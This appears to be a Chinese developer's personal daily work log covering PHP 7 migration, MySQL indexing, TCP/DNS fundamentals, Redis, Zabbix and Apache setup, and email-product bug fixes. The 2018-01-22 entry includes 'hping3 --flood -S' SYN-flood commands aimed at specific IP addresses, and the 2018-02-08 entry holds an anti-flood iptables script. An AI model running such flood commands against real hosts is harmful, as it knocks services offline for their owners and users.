在项目开发中,web项目的前后端分离开发,APP开发,需要由前后端工程师共同定义接口,编写接口文档,之后大家都根据这个接口文档进行开发,到项目结束前都要一直维护。
二、为什么要写接口文档?
1、项目开发过程中前后端工程师有一个统一的文件进行沟通交流开发
2、项目维护中或者项目人员更迭,方便后期人员查看、维护
RESTful 接口:
REST 是一个很流行的前后端交互形式的约定。这只是一套约定,并不是某个技术标准.REST 充分利用了 HTTP 规范中的方法,达到接口描述的语义化
安全:
1.使用HTTPS协议
2.数据加密
权限处理:
1.客户端接口,携带验证token
2.WEB端接口,使用SESSION验证机制
=========================================================================
2018年3月6日 记录:
群发助手项目文档设计
动态设置php.ini中的include_path 配置选项:
两种方式
set_include_path($new_include_path)
ini_set('include_path',$new_include_path);
利用常量 PATH_SEPARATOR 可跨平台扩展 include path,可以把自己设置的path加在现有include_path的尾部
MERGE存储引擎把一组MyISAM数据表当做一个逻辑单元来对待,让我们可以同时对他们进行查询
=========================================================================
2018年3月5日 记录:
索引(Index)是帮助MySQL高效获取数据的数据结构,可以理解为“排好序的快速查找数据结构”,在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数据,这样就可以在这些数据结构上实现高级查找算法
建表的同时创建一个单列的普通索引
1.show status like 'Handler_read%';查看索引的使用情况
Handler_read_first 全索引扫描
Handler_read_key 数值越高越好,高效的使用了索引
Handler_read_next 越小越好
Handler_read_rnd 没有使用索引或者使用太多排序
Handler_read_prev 代表读取索引的上列,一般发生在ORDER BY … DESC。
Handler_read_rnd_next 进行数据文件扫描,越小越好
覆盖索引是select的数据列只用从索引中就能够取得,不必读取数据行,你想要通过索引覆盖select多列,那么需要给需要的列建立一个多列索引,当然如果带查询条件,where条件要求满足最左前缀原则
逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)
上传csv后,不用再另存,直接使用$_FILES['uploadfile']['tmp_name']文件路径
=========================================================================
2018年3月2日 记录:
对数公式是数学中的一种常见公式,如果a^x=N(a>0,且a≠1),则x叫做以a为底N的对数,记做x=log(a)(N),其中a要写于log右下。其中a叫做对数的底,N叫做真数。通常我们将10以底的对数叫做常用对数,以e为底的对数称为自然对数。
mysql的索引分为 单列索引 多列索引 唯一索引
多列索引生效原则是 从前往后依次使用生效,如果中间某个索引没有使用,那么断点前面的索引部分起作用,断点后面的索引没有起作用;
index(a,b,c) ,最左前缀原则
where a=3 and b=45 and c=5 .... 这种三个索引顺序使用中间没有断点,全部发挥作用;
where a=3 and c=5... 这种情况下b就是断点,a发挥了效果,c没有效果
where b=3 and c=4... 这种情况下a就是断点,在a后面的索引都没有发挥作用,这种写法联合索引没有发挥任何效果;
where b=45 and a=3 and c=5 .... 这个跟第一个一样,全部发挥作用,abc只要用上了就行,跟写的顺序无关
=========================================================================
2018年3月1日 记录:
=========================================================================
2018年2月28日 记录:
上线企邮10%企业跳转到webmail的https
DNS解析流程:
FQDN:Fully Qualified Domain Name , 叫做绝对域名名称,域名末尾有一个句点
ISP:(Internet Service Provider),互联网服务提供商
TLD:顶级域名
NS 服务器:该服务器上有很多的DNS软件,告诉调用者具体那台机器维护某个域名的 DNS 信息(比如 A 记录),为了获取某个域名的 IP 地址,需要去向它查询
dig命令:
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52976 //NOERROR 表示查询没有什么错误
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION: //表示需要查询的内容,这里需要查询域名的 A 记录
;www.sopans.com. IN A
;; ANSWER SECTION:
www.sopans.com. 600 IN A 123.206.7.231
;; Query time: 30 msec //Query time 表示查询完成时间
;; OPT PSEUDOSECTION:
;; SERVER: 10.53.216.182#53(10.53.216.182) //表示本地 DNS 服务器地址和端口号
dig -t ns sopans.com 查询ns服务器
dig -t mx sopans.com 查看mx记录
dig +trace www.sopans.com DNS 迭代查询流程
DNS会逐级缓存,如果要查询最新的信息,可以这样
dig @dns1.hichina.com -t a www.sopans.com
dig @8.8.8.8 -t a www.sopans.com
给域名添加两个A记录到不同的ip,可以作为DNS负载
=========================================================================
2018年2月27日 记录:
群发列表功能梳理,用户自建群发列表,发送群发邮件
计算email的hash
function getEmailHash($email, $mod = 10) {
$m = md5($email, true);
$f = 0;
$wm = 65536 % $mod;
for ($i = 0; $i < 4; ++$i) {
$n = ord($m[$i * 2 + 1]) * 256 + ord($m[$i * 2]);
$cm = $n % $mod;
for ($j = 0; $j < $i; ++$j) {
$cm = $cm * $wm;
if ($cm > $mod) {
$cm = $cm % $mod;
}
}
$f += $cm;
}
return $f % $mod;
}
此扩展提供 OAuth 消费方和提供方之间的绑定。OAuth 是一种建立在 HTTP 之上的授权协议,用于允许应用程序安全访问数据而无需存储用户名和密码。
OAuth应用通常包括三种角色:Consumer:消费方;Service Provider:服务提供者;User:用户
POSIX风格正则表达式:基本正则表达式(Basic Regular Expression BRE),扩展正则表达式(Extended Regular Expression ERE)
Perl风格的正则表达式(Perl Regular Expression PRE)
在BRE方式中,只承认^ 、$、 . 、[ 、] 、*这些是元字符,所有其他的字符都被识别为文字字符。而ERE中,则添加了(、 ) 、{ 、} 、?、 + |、等元字符(及其相关功能),如果在BRE中使用需要加反斜杠
grep默认是BRE, -E是ERE , -P是PRE
deposits 存放 sanity 神志正常
=========================================================================
2018年2月26日 记录:
火丁笔记:
记一次sftp故障,查看最新修改的日志文件,ulimit进程限制问题
https://huoding.com/2018/01/27/653
linux查看平均负载 cat /proc/loadavg
on-cpu/off-cpu火焰图的使用是程序性能分析的利器
pgrep根据名称查看进程id
strace追踪系统调用和信号
TokuDB 是一个支持事务的“新”引擎,有着出色的数据压缩功能
devops三板斧,awk,strace,Gnuplot
史上最LOW的PHP连接池解决方案,nginx lua脚本实现redis连接池
https://huoding.com/2017/09/10/635
快速查找配置文件:
strace -eopen nginx 2>&1 |grep conf
=========================================================================
2018年2月24日 记录:
春节上班第一天
企业邮箱PC端邮件签名无法插入图片
企邮pop收取时间设置
=========================================================================
2018年2月11日 记录:
静态链表:数组描述的链表,游标实现法
=========================================================================
2018年2月9日 记录:
扫码登陆功能上线:
usleep() 函数延迟代码执行若干微秒。
一微秒等于百万分之一秒。
=========================================================================
2018年2月8日 记录:
防止洪水攻击的脚本
#!/bin/bash
/bin/netstat -na |grep SYN_RECV |awk '{print $5}' |awk -F : '{print $1}' | sed '/^$/d' |sort|uniq -c|sort -rn|head -n 10|grep -v -E '192.168|127
.0'′ |sed '/^$/d' |awk '{if ($2!=null && $1>20);{print $2}}'>/tmp/dropip
for i in $(cat /tmp/dropip)
do
/sbin/iptables -A INPUT -s $i -j DROP
echo "$i kill at `date`">>/var/log/ddos
done
=========================================================================
2018年2月7日 记录:
DNS(Domain Name System,域名系统),万维网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串
第一,从协议的层面看,它是一种应用层协议
第二,从实体的层面看,它是一个由分层的DNS服务器实现的分布式数据库
根DNS服务器, 顶级域(Top-Level Domain, TLD )DNS服务器和权威DNS服务器
根DNS服务器:因特网上有13个根DNS服务器, 其中大部分分布在北美洲
zabbix(音同 zæbix)是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能
# wget http://repo.zabbix.com/zabbix/3.4/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.4-1+xenial_all.deb
# dpkg -i zabbix-release_3.4-1+xenial_all.deb
apt-get update
apt install zabbix-server-mysql zabbix-frontend-php zabbix-agent
create database zabbix character set utf8 collate utf8_bin;
grant all privileges on zabbix.* to zabbix@localhost identified by 'password';
zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix
systemctl start zabbix-server zabbix-agent
mkdir /etc/zabbix/zabbix_server.conf.d
mkdir /etc/zabbix/zabbix_agentd.conf.d
systemctl enable zabbix-server zabbix-agent
dpkg -L zabbix-frontend-php
cp /usr/share/zabbix/ /var/www/zabbix -R
vim /etc/php/7.0/fpm/php.ini
vim /etc/zabbix/zabbix_server.conf PID
mkdir /var/log/zabbix-server/ 权限
=========================================================================
2018年2月6日 记录:
西单机房故障,影响登陆,收信,发信
ob_implicit_flush(1)打开隐式刷新
使用 cURL 扩展,它可以设置连接超时和读取超时(CURLOPT_TIMEOUT,CURLOPT_CONNECTTIMEOUT)
CURLOPT_TIMEOUT 允许 cURL 函数执行的最长秒数。
CURLOPT_TIMEOUT_MS 设置cURL允许执行的最长毫秒数。
CURLOPT_CONNECTTIMEOUT 在尝试连接时等待的秒数。设置为0,则无限等待。
CURLOPT_CONNECTTIMEOUT_MS 尝试连接等待的时间,以毫秒为单位。设置为0,则无限等待。
ftell — 返回文件指针读/写的位置
fseek — 在文件指针中定位
fgets — 从文件指针中读取一行
fread($fp,2);读取指定字节数
=========================================================================
2018年2月5日 记录:
redis安装:
apt-get install redis-server
redis-server
redis-cli
redis> set foo bar
OK
redis> get foo
"bar"
命令:
1.遍历key keys/scan
keys * ;scan 0
2.判断key是否存在exists
exists foo
3.删除key,del
del foo
4.返回给定key的value类型,type
type foo
5.给list添加元素,lpush
lpush foo5 1
6.查看list长度,llen
llen foo
7.查看元素,lindex
lindex foo 0
8.查看一段列表,lrange
lrange foo 0 -1
9.从头部删除元素,lpop
lpop foo
/dev/null是太阳黑洞的伪设备
curl -I www.baidu.com 2>/dev/null|head -1 只显示header头,把stderr标准错误无用的信息丢弃
/dev/zero 空数据流的特殊设备文件
dd if=/dev/zero of=1.txt bs=1M count=2 生成一个指定大小的空文件
if=文件名:输入文件名
of=文件名:输出文件名
bs=字节大小
count=个数
=========================================================================
2018年2月2日 记录:
Maximum execution time of 30 seconds exceeded
htmlspecialchars_decode();
1.查找发送邮件服务器错误问题
2.修改pop代收为最近30天和收取全部需求整理
3.测试apache运行模式优化问题
4.测试TCP连接问题
=========================================================================
2018年2月1日 记录:
查找发送邮件服务器错误问题
长整数使用机器全字长
1.同一时间内处理的一组二进制数称为一台电脑的“字”
2.这组二进制数的位数就是“字长”
man ascii可以生成ascii码表
=========================================================================
2018年1月31日 记录:
修改pop代收为最近30天和收取全部需求整理
TCP 协议概述
1.TCP提供一种面向连接的、可靠的字节流服务。
2.两个应用程序通过TCP连接交换8bit字节构成的字节流。
3.每个TCP首部都包含源端和目的端的端口号,用于寻找发端和收端应用进程。这两个值加上IP首部中的源端IP地址和目的端IP地址唯一确定一个TCP连接。
4.一个IP地址和一个端口号也称为一个插口(socket),出现在最早的TCP规范(RFC793)
TCP 保证可靠性:
1.应用数据被分割成 TCP 认为最适合发送的数据块
2.当 TCP 发出一个段后,它启动一个定时器,等待目的端确认收到这个报文段,超时重发
3.当 TCP 收到发自 TCP 连接另一端的数据,它将发送一个确认
4.TCP 将保持它首部和数据的检验和
5.如果必要, TCP 将对收到的数据进行重新排序
6.TCP 还能提供流量控制
结束连接:
TCP 有一个特别的概念叫做 half-close,这个概念是说,TCP 的连接是全双工(可以同时发送和接收)连接,因此在关闭 连接的时候,必须关闭传和送两个方向上的连接。客户机给服务器一个 FIN 为1的 TCP 报文,然后服务器返回给客户端一个确认 ACK 报文, 并且发送一个 FIN 报文,当客户机回复 ACK 报文后(四次握手),连接就结束了。
客户端状态迁移:
CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED
服务端状态迁移:
CLOSED->LISTEN->SYN 收到->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED
ulimit -a
ulimit -n用于限制进程能够打开的文件描述符的最大数目。因为任何设备在linux下都是文件,通信的接口也有专门的接口文件负责,所以linux下进程tcp链接的最大并发量也受限于该值
十六进制表示法:
一个字节由8位组成,值域 0000 0000 ~ 1111 1111,0~255
以16为基数,0~9 a~f
十进制: 0 1 2 3 4 5 6 7
十六进制:0 1 2 3 4 5 6 7
二进制: 0000 0001 0010 0011 0100 0101 0110 0111
8 9 A B C D E F
8 9 10 11 12 13 14 15
1000 1001 1010 1011 1100 1101 1110 1111
习题:
将0x39A7FB转为二进制 0011 1001 1010 0111 1111 1011
将二进制1100 1001 0111 1011 转为十六进制 0xC97B
字长:32位机,64位机,说的就是32字长,64字长,英文叫word size,虚拟地址范围0~2的32次方-1 大约4GB
=========================================================================
2018年1月30日 记录:
长连接:指在一个连接上可以连续发送多个数据包,在连接保持期间,如果没有数据包发送,需要双方发链路检测包。
短连接:是指通讯双方有数据交互时,就建立一个连接,数据发送完成后,则断开此连接,即每次连接只完成一项业务的发送。
TCP是一个面向连接的协议。
1.使用telnet与tcpdump互相配合进行测试
115.159.28.111.51142 > 10.141.14.117.http: Flags [S], seq 1784777886, win 29200,
10.141.14.117.http > 115.159.28.111.51142: Flags [S.], seq 1181145550, ack 1784777887, win 28960,
115.159.28.111.51142 > 10.141.14.117.http: Flags [.], ack 1, win 229,
seq:Sequence number(顺序号码)
ack:Acknowledge number(确认号码)
syn:SYN(synchronous建立联机)
主机A:115.159.28.111 主机B:10.141.14.117.http
第一次握手:A发送syn=1, 产生随机seq=1784777886
第二次握手:B发送 随机产生seq=1181145550,ack=接收到的seq+1 1784777887
第三次握手:A发送 ack=1,
TCP首部标志位:
S SYN 同步序号
F FIN 完成发送
R RST 复位
P PST 推送
. 置为0
深入理解计算机系统:
虚拟存储器是一个抽象的概念.它为每个进程提供了一个假象,即每个进程独占的使用主存
并发和并行:
线程级并行,指令级并行,单指令多数据并行
=========================================================================
2018年1月29日 记录:
企邮扫码登陆接口部分上线
用户上传附件错误
1.$_FILES --超全局变量,HTTP 文件上传变量
通过 HTTP POST 方式上传到当前脚本的项目的数组,PHP 能够接受任何来自符合 RFC-1867 标准的浏览器上传的文件,
上传的过程中,文件存放在/tmp/phpXxXxx里,有的时候磁盘满了,/tmp/下放不了文件也会报错
RFC 1867标准
RFC 1867 - Form-based File Upload in HTML
move_uploaded_file ( string $filename , string $destination )
将上传的文件移动到新位置,企邮默认从/tmp/phpxxxx到/mnt/entmail/webapp/uploads
上传多个文件
获取$_FILES['userfile']['tmp_name'][0],$_FILES['userfile']['tmp_name'][1]
对 PUT 方法的支持,使用标准的输入流,$putdata = fopen("php://stdin", "r");
压测工具:
1.ab -k -c 100 -t 10 http://domain/path
100个并发,持续10秒,增加header Connection: Keep-Alive,使用http长连接
=========================================================================
2018年1月26日 记录:
PHP的纯CPU基准测试(PHP5.5.9 vs PHP7.2.1):
1.bench.php 可在PHP源代码的 php-class="lazy" data-src/Zend 目录
2.micro_bench.php 也可以在 PHP 源代码发布的 php-class="lazy" data-src/Zend 目录中找到
3.同时使用Unix time 命令来计时
4.php5.5.9
real 0m14.498s
user 0m12.110s
sys 0m0.024s
php7.2.1
real 0m5.756s
user 0m4.521s
sys 0m0.028s
基于应用的性能测试:
准备:
dpkg -L apache2查看所有安装的apache2的应用
a2query -M查看apache2使用的模式
httpd -l旧版本查看当前apache模式
查看apache的进程数:
ps aux|grep httpd|grep -v grep|wc -l //查看prefork模式的
pstree |grep httpd|grep -v grep|wc -l //查看worker模式的
prefork, worker, event 三种模式的区别:
1. prefork 中没有线程的概念,是多进程模型,一个进程处理一个连接;稳定;响应快。其缺点是在连接数比较大时就非常消耗内存。
2. worker 是多进程多线程模型,一个进程有多个线程,每个线程处理一个连接。与prefork相比,worker模式更节省系统的内存资源。不过,需要注意worker模式下的Apache与php等程序模块的兼容性。
3. event 是worker模式的变种,它把服务进程从连接中分离出来,在开启KeepAlive的场合下相对worker模式能够承受更高的并发负载,不能很好的支持https的访问
4.apache使用mod_php的话,不能使用worker模式,不是线程安全的
apache配置fastcgi:
apt-get install apache2-mpm-worker//使用apache的worker模式,多进程多线程
apt-get install libapache2-mod-fastcgi php5-fpm//安装apache的fastcgi模块,和php-fpm
touch /usr/lib/cgi-bin/php5.fcgi//创建一个文件
chown -R www-data:www-data /usr/lib/cgi-bin//赋值权限
vim /etc/apache2/conf-available/php5-fpm.conf//配置apache和php-fpm的文件
AddHandler php5.fcgi .php
Action php5.fcgi /php5.fcgi
Alias /php5.fcgi /usr/lib/cgi-bin/php5.fcgi
FastCgiExternalServer /usr/lib/cgi-bin/php5.fcgi -socket /var/run/php5-fpm.sock -pass-header Authorization -idle-timeout 3600
//如果是使用端口的话
FastCgiExternalServer /usr/lib/cgi-bin/php5.fcgi -host 127.0.0.1:9000 -pass-header Authorization -idle-timeout 3600
Require all granted
service apache2 restart && sudo service php5-fpm restart
文件内容关键字提取并进行计数排序(百度和sohu面试题):
此类问题,可以演变成分析日志,查看TCP各个状态连接数,查看单IP连接数排名等等
=========================================================================
2018年1月25日 记录:
数据类型和变量:
数据是放在内存中的,明确三件事:数据存储在哪里、数据的长度以及数据的处理方式
int n;数据类型指明了数据的长度和处理方式,变量名指明了数据存储在哪里
数据长度:是指数据占用多少个字节,数据类型指明了数据长度
基本类型占用的字节数:char 1,short 2,int 4,long 4,float 4,double 8
整数的长度,C语言并没有严格规定 short、int、long 所占用的字节数,只做了宽泛的限制:
short 至少占用2个字节。
int 建议为一个机器字长。32位环境下机器字长为4字节,64位环境下机器字长为8字节。
short 的长度不能大于 int,long 的长度不能小于 int。
整数的正负数:
int是4个字节占用32位内存,第31位表示符号,0是正数,1是负数;如果不希望设置符号位,可以在数据类型前面加 unsigned
如果不考虑正负数,当所有的位都为1时它的值最大,为 2的32次方-1 = 4,294,967,295 ≈ 43亿
计算:111:2的3次方-1 101:2的2次方+2的0次方 10:2的1次方+2的0次方
在内存中,数值一律采用补码表示
原码:一个整数转成二进制;反码:正数的反码就是其原码;负数的反码是将原码中除符号位以外的每一位取反;
补码:正数的补码就是其原码;负数的补码是其反码加1。
char 变量在内存中存储的是字符对应的 ASCII 码值。
ASCII 码表将整数和字符关联起来了,char是1个字节,最前面一位规定是0,因此0-127个
Unicode编码
汉字怎么表示,日语韩语拉丁语怎么表示,Unicode 是一个很大的集合,现在的规模可以容纳100多万个符号,每个符号的对应的二进制都不一样
链表的实现很简单,通常只需要三个关键元素:
指向上个元素的指针
指向下个元素的指针
数据容器
亿图图形图表设计软件
http://www.edrawsoft.cn/2download/edrawmax-cn-9.1.exe
=========================================================================
2018年1月24日 记录:
413 Request Entity Too Large
企邮HTTPS上传附件,代理限制太小了
企邮上传超大附件报错ACT ERROR
win7 ie8
compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E
ab测试的结果:
http://blog.sina.com.cn/s/blog_9c6f23fb0102wgrb.html
Connect,Processing,Waiting,Total字段。这些数据能大致说明测试过程中所需要的时间。其实我们可以只看Total字段中的min,max两列数据值,这两个值分别显示了测试过程中,花费时间最短和最长的时间。
吞吐量:指对网络、设备、端口、虚电路或其他设施,单位时间内成功地传送数据的数量,三个重要参数QPS(TPS)、并发数、响应时间
并发:在操作系统中,是指一个时间段中有几个程序都处于已启动运行到运行完毕之间;与并行的区别,并行是指两个或者多个事件在同一时刻发生,并发是指两个或多个事件在同一时间间隔内发生
QPS(TPS):每秒钟request/事务的数量
响应时间: 一般取平均响应时间
QPS(TPS)= 并发数/平均响应时间
2.
pear:全称为PHP扩展与应用库,一个类似于Perl CPAN档案的工具
pecl:PHP 扩展模块,通过pear打包格式来打包安装的PHP扩展库仓库
perl:借取了C、sed、awk、shell 脚本语言,内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN,一种脚本语言
Xhprof:层次式性能分析器,不支持PHP7
1.数据搜集阶段
2.后期处理阶段
=========================================================================
2018年1月23日 记录:
从PHP 5.6.x 移植到 PHP 7.0.x 新特性:
1.标量类型声明
字符串(string), 整数 (int), 浮点数 (float), 布尔值 (bool),callable,array,self,Class/interface name
2.返回值类型声明
定义参数类型和返回值类型
function test(int $a):int{}
如果不按规定传参会返回异常
3.null合并运算符
null合并运算符 (??) ,等同于三元运算符
$name=$_GET['name'] ?? "test";echo $name;
4.太空船操作符(组合比较符)
当$a小于、等于或大于$b时它分别返回-1、0或1。
$a <=> $b
5.通过 define() 定义常量数组
define('ANIMALS', ['dog','cat','bird']);
6.匿名类
某个函数参数强制类型,使用匿名类完成
interface Logger {
public function log(string $msg);
}
function test(Logger $logger){
echo $logger->log('aaa');
}
test(new Class implements Logger {
public function log(string $msg) {
return $msg;
}
});
7.Unicode codepoint 转译语法
完整的Unicode字符叫codepoint,Unicode为每种语言中的每个字符设定了统一并且唯一的二进制编码
8.为unserialize()提供过滤,提供更安全的方式解包不可靠的数据,通过白名单的方式来防止潜在的代码注入
9.预期,assert — 检查一个断言是否为 FALSE
10.Group use declarations
从同一 namespace 导入的类、函数和常量现在可以通过单个 use 语句 一次性导入了
11.生成器可以返回表达式
12.Generator delegation
13.整数除法函数 intdiv()
14.会话选项
session_start() 可以接受一个 array 作为参数, 用来覆盖 php.ini 文件中设置
15.CSPRNG Functions
random_bytes() 和 random_int() 用来产生高安全级别的随机字符串和随机整数
16.可以使用 list() 函数来展开实现了 ArrayAccess 接口的对象
17.其他特性
从 PHP 5.3.X 迁移到 PHP 5.4.X不兼容点:
1.不再支持 安全模式
2.移除 魔术引号,设置 magic_quotes_gpc 系列将不会生效
3.Salsa10 和 Salsa20 哈希算法 被移除。使用各种哈希算法直接或增量处理任意长度的信息。
4.在 日期与时间扩展 中,不再支持时区使用 TZ(TimeZone)环境变量设置,必须使用 date.timezone php.ini 配置选项或 date_default_timezone_set() 函数来指定时区
5.调用时的引用传递 被移除。将一个变量通过引用传递给函数,定义时参数加&引用符,调用函数的时候参数不需要加&
从 PHP 5.4.x 迁移到 PHP 5.5.x不兼容:
1.不再支持 Windows XP 和 2003
2.pack() 和 unpack() 函数的变化,数据转成二进制,更兼容 Perl 做了一些变更
3.移除 PHP logo GUIDs,php_logo_guid — 获取 logo 的 guid
从PHP 5.5.x 移植到 PHP 5.6.x不兼容
1.使用数组标识符为类定义数组类型的属性时,数组的键不会被覆盖,显式数组键和隐式数组键相同将不会覆盖.
2.严格的 json_decode(), JSON 字面量 true,false 和 null,采用小写格式
3.当使用 SSL/TLS 的时候,流封装器默认验证端点证书和主机名,直接调用ssl://或者tls://协议的时候
4.GMP 资源现为对象 ,数学扩展库
5.Mcrypt 函数需要有效长度的密钥和初始向量,mcrypt库是加密扩展
6.cURL 文件上传
必须先设置 CURLOPT_SAFE_UPLOAD 为 FALSE 才能够使用 @file 语法来上传文件
nmap扫描端口的工具
=========================================================================
2018年1月22日 记录:
扫码登陆获取检测状态接口增加header头Cache-Control:no-cache
一.从PHP 5.6.x 移植到 PHP 7.0.x不兼容:
1.错误和异常处理
1.1 set_exception_handler()函数申明的类型
function handler($e){
var_dump($e);
}
set_exception_handler('handler');
throw new Exception("sb");
1.2 当内部构造器失败的时候,总是抛出异常
1.3 解析错误会抛出 ParseError 异常
1.4 E_STRICT 警告级别变更
变量处理
2.1 关于间接使用变量、属性和方法的变化
$foo['bar']='a';
$a=1;
var_dump(${$foo['bar']});//输出1
var_dump($$foo['bar']);//输出NULL
2.2 关于list()处理方式的变更
2.3 global 只接受简单变量,不推荐global可变变量
2.4 函数参数附近的括号不再影响行为
3.foreach的变化
3.1 foreach不再改变内部数组指针
3.2 foreach 通过值遍历时,操作的值为数组的副本
3.3 foreach通过引用遍历时,有更好的迭代特性
3.4 非Traversable 对象的遍历
integer的变化
4.1 十六进制字符串不再被认为是数字,filter_var()进行转换
4.2 \u{ 可能引起错误
4.3 bitshifts按位转换超出范围
4.4 Division By Zero错误信息
5.string处理上的调整
6.被移除的函数
6.1 set_magic_quotes_runtime()和magic_quotes_runtime()废除
6.2 call_user_method() and call_user_method_array() 换成
call_user_func() 和 call_user_func_array()
6.3 所有的 ereg* 函数
6.4 mcrypt 别名
6.5 所有 ext/mysql 函数
6.6 所有 ext/mssql 函数
6.7 intl 别名
6.8 dl() in PHP-FPM
6.9 GD Type1 functions
7.被移除掉的 INI 配置指令
8.其他
8.1 new 操作符创建的对象不能以引用方式赋值给变量
8.2 无效的类、接口以及 trait 命名,Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制
8.3 移除了 ASP 和 script PHP 标签
8.4 从不匹配的上下文发起调用
8.5 yield 变更为右联接运算符
8.6 函数定义不可以包含多个同名参数
8.7 Switch 语句不可以包含多个 default 块
8.8 在函数中检视参数值会返回 当前 的值
8.9 $HTTP_RAW_POST_DATA 被移除
8.10 INI 文件中 # 注释格式被移除
8.11 JSON 扩展已经被 JSOND 取代
8.12 在数值溢出的时候,内部函数将会失败
8.13 自定义会话处理器的返回值修复
8.14 相等的元素在排序时的顺序问题
hping是用于生成和解析TCPIP协议数据包的开源工具
hping3 --flood -S -p 3306 123.207.167.115
hping3 --flood -S -p 7272 115.28.161.7
对于有cdn的ping 命令这样写 ping xxx.com ,二级域名一般都没解析cdn
=========================================================================
2018年1月19日 记录:
cgi:一种协议,CGI/1.1 标准
fastcgi:一种升级版协议,常驻型
php-cgi:解释PHP脚本的程序,实现了fastcgi协议,进程管理较差
php-fpm:是fastcgi进程的管理器,升级版php-cgi,升级了进程调度
哈希表是一种通过哈希函数,将特定的键映射到特定值的一种数据结构,它维护键和值之间一一对应关系。
1.键(key):用于操作数据的标示,例如PHP数组中的索引,或者字符串键等等。
2.槽(slot/bucket):哈希表中用于保存数据的一个单元,也就是数据真正存放的容器。
3.哈希函数(hash function):将key映射(map)到数据应该存放的slot所在位置的函数。
4.哈希冲突(hash collision):哈希函数将两个不同的key映射到同一个槽的情况。(链接法和开放寻址法解决)
数据容器定义:
1.保存哈希表数据本身
typedef struct _Bucket
{
char *key;
void *value;
struct _Bucket *next;
} Bucket;
2.保存
typedef struct _HashTable
{
int size;
int elem_num;
Bucket** buckets;
} HashTable;
修复企邮发送超大附件获取中转站地址拼接完整url
2.修复企邮签名保存并设置为默认签名错误
3.测试修改密码后弹窗重新输入验证新密码问题
4.测试扫码登陆失败提案问题
5.前端资源加载后,文件不全问题,CDN问题
=========================================================================
2018年1月18日 记录:
测试扫码登陆失败问题
TCP状态
TIME_WAIT:主动关闭方在收到被关闭方的FIN后会处于并长期,2个MSL时间(1-4分钟),主动回收并将TCP连接设为CLOSED
问题:主动关闭方短时间内大量关闭连接,该socket所占用的本地端口号将一直无法释放
stdin, stdout, stderr ,标准输入,标准输出,标准错误
windowsxp下IE8访问https问题,get访问http时缓存问题:
1.使用wireshark抓包可以看到握手错误
2.是因为客户端所支持的加密算法,服务器端配置已经废弃了,不支持了
3.ie8有时get会使用缓存,没有发起请求
=========================================================================
2018年1月17日 记录:
void *memset(void *str, int c, size_t n) 复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。
C 库函数 char *strcpy(char *dest, const char *class="lazy" data-src) 把 class="lazy" data-src 所指向的字符串复制到 dest。
老师留下作业,我不会做就抄别人的,然后去办公室交作业,看见老师说:“我抄完了! ”
2.我同事跟人争执,急了张口来了句“你以为我吃饭长大的啊?”我一直纳闷他到底吃什么长大的。
=========================================================================
2018年1月16日 记录:
测试修改密码后弹窗重新输入验证新密码
2.客户端获取签名接口代码思路梳理
分表的时候,是根据当前用户的唯一标识计算出的hash值,作为分表名称id,所有的这个用户的数据,只会进入这张分表中
3.要做:对PHP版本升级,测试相应性能,修改高版本PHP不兼容的地方.
系统化了解PHP的不同版本的差异点;系统化了解性能测试以及性能测试框架;系统性总结现在项目的性能瓶颈点,升级版本对项目的提升点以及带来的整体好处
无头浏览器即headless browser,是一种没有界面的浏览器。既然是浏览器那么浏览器该有的东西它都应该有,只是看不到界面而已。
CGI:通用网关接口Common Gateway Interface,它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据
CGI描述了客户端和这个程序之间传输数据的一种标准
CGI的运行原理
1.客户端通过HTTP协议访问URL
2.服务端HTTP daemon守护进程启动子进程,在子进程中把数据传递给CGI程序
3.子进程通过HTTP协议返回给客户端
malloc:memory allocation 动态内存分配,malloc函数向系统申请分配指定字节的内存空间,分配成功则返回指向被分配内存空间的指针
void* 表示未确定类型的指针,通过类型转换强制转换为任何其它类型的指针
malloc函数的实质体现在,它有一个将可用的内存块连接为一个长长的列表的所谓空闲链表。调用malloc函数时,它沿连接表寻找一个大到足以满足用户请求所需要的内存块。
strcpy函数把从class="lazy" data-src地址开始且含有'\0'结束符的字符串复制到以dest开始的地址空间,返回值的类型为char*。
char *strcpy(char* dest, const char *class="lazy" data-src);
字符串结束符'\0','\0'是转译字符,用一个字符数组来存放一个字符串,'\0'是由C编译系统自动加上的.
sprintf()函数:将格式化的数据写入字符串
int sprintf(char *str, char * format [, argument, ...]);
char str[20];
sprintf(str,"hello %s","world");
printf("%s",str);//输出 hello world
strcat函数将两个char类型的数据连接,返回char *
strlen()函数:返回字符串的长度,在#include
=========================================================================
2018年1月15日 记录:
上线webmail弹窗
web前端构建预渲染技术
FP FCP FMP TTI
2.服务端预渲染技术
nodejs server side render
3.构建时预渲染技术
无头浏览器headless ,PhontomJS Pupetteer
=========================================================================
2018年1月12日 记录:
企邮新浪存储部分兼容HTTPS
修复企邮发信文本框空格问题
EDS开发:
支持代理商查看名下用户的eds报表
客服系统外发登陆日志查询优化显示详细的错误日志,显示外发频率次数限制
个性登录页里的安全登陆框
PHP中弱类型的实现:
1.变量存储在zval结构体中
typedef struct _zval_struct zval;//typedef给类型起一个别名
zval结构体的type字段就是实现弱类型最关键的字段了,type的值可以为: IS_NULL、IS_BOOL、IS_LONG、IS_DOUBLE、IS_STRING、IS_ARRAY、IS_OBJECT和IS_RESOURCE 之一。
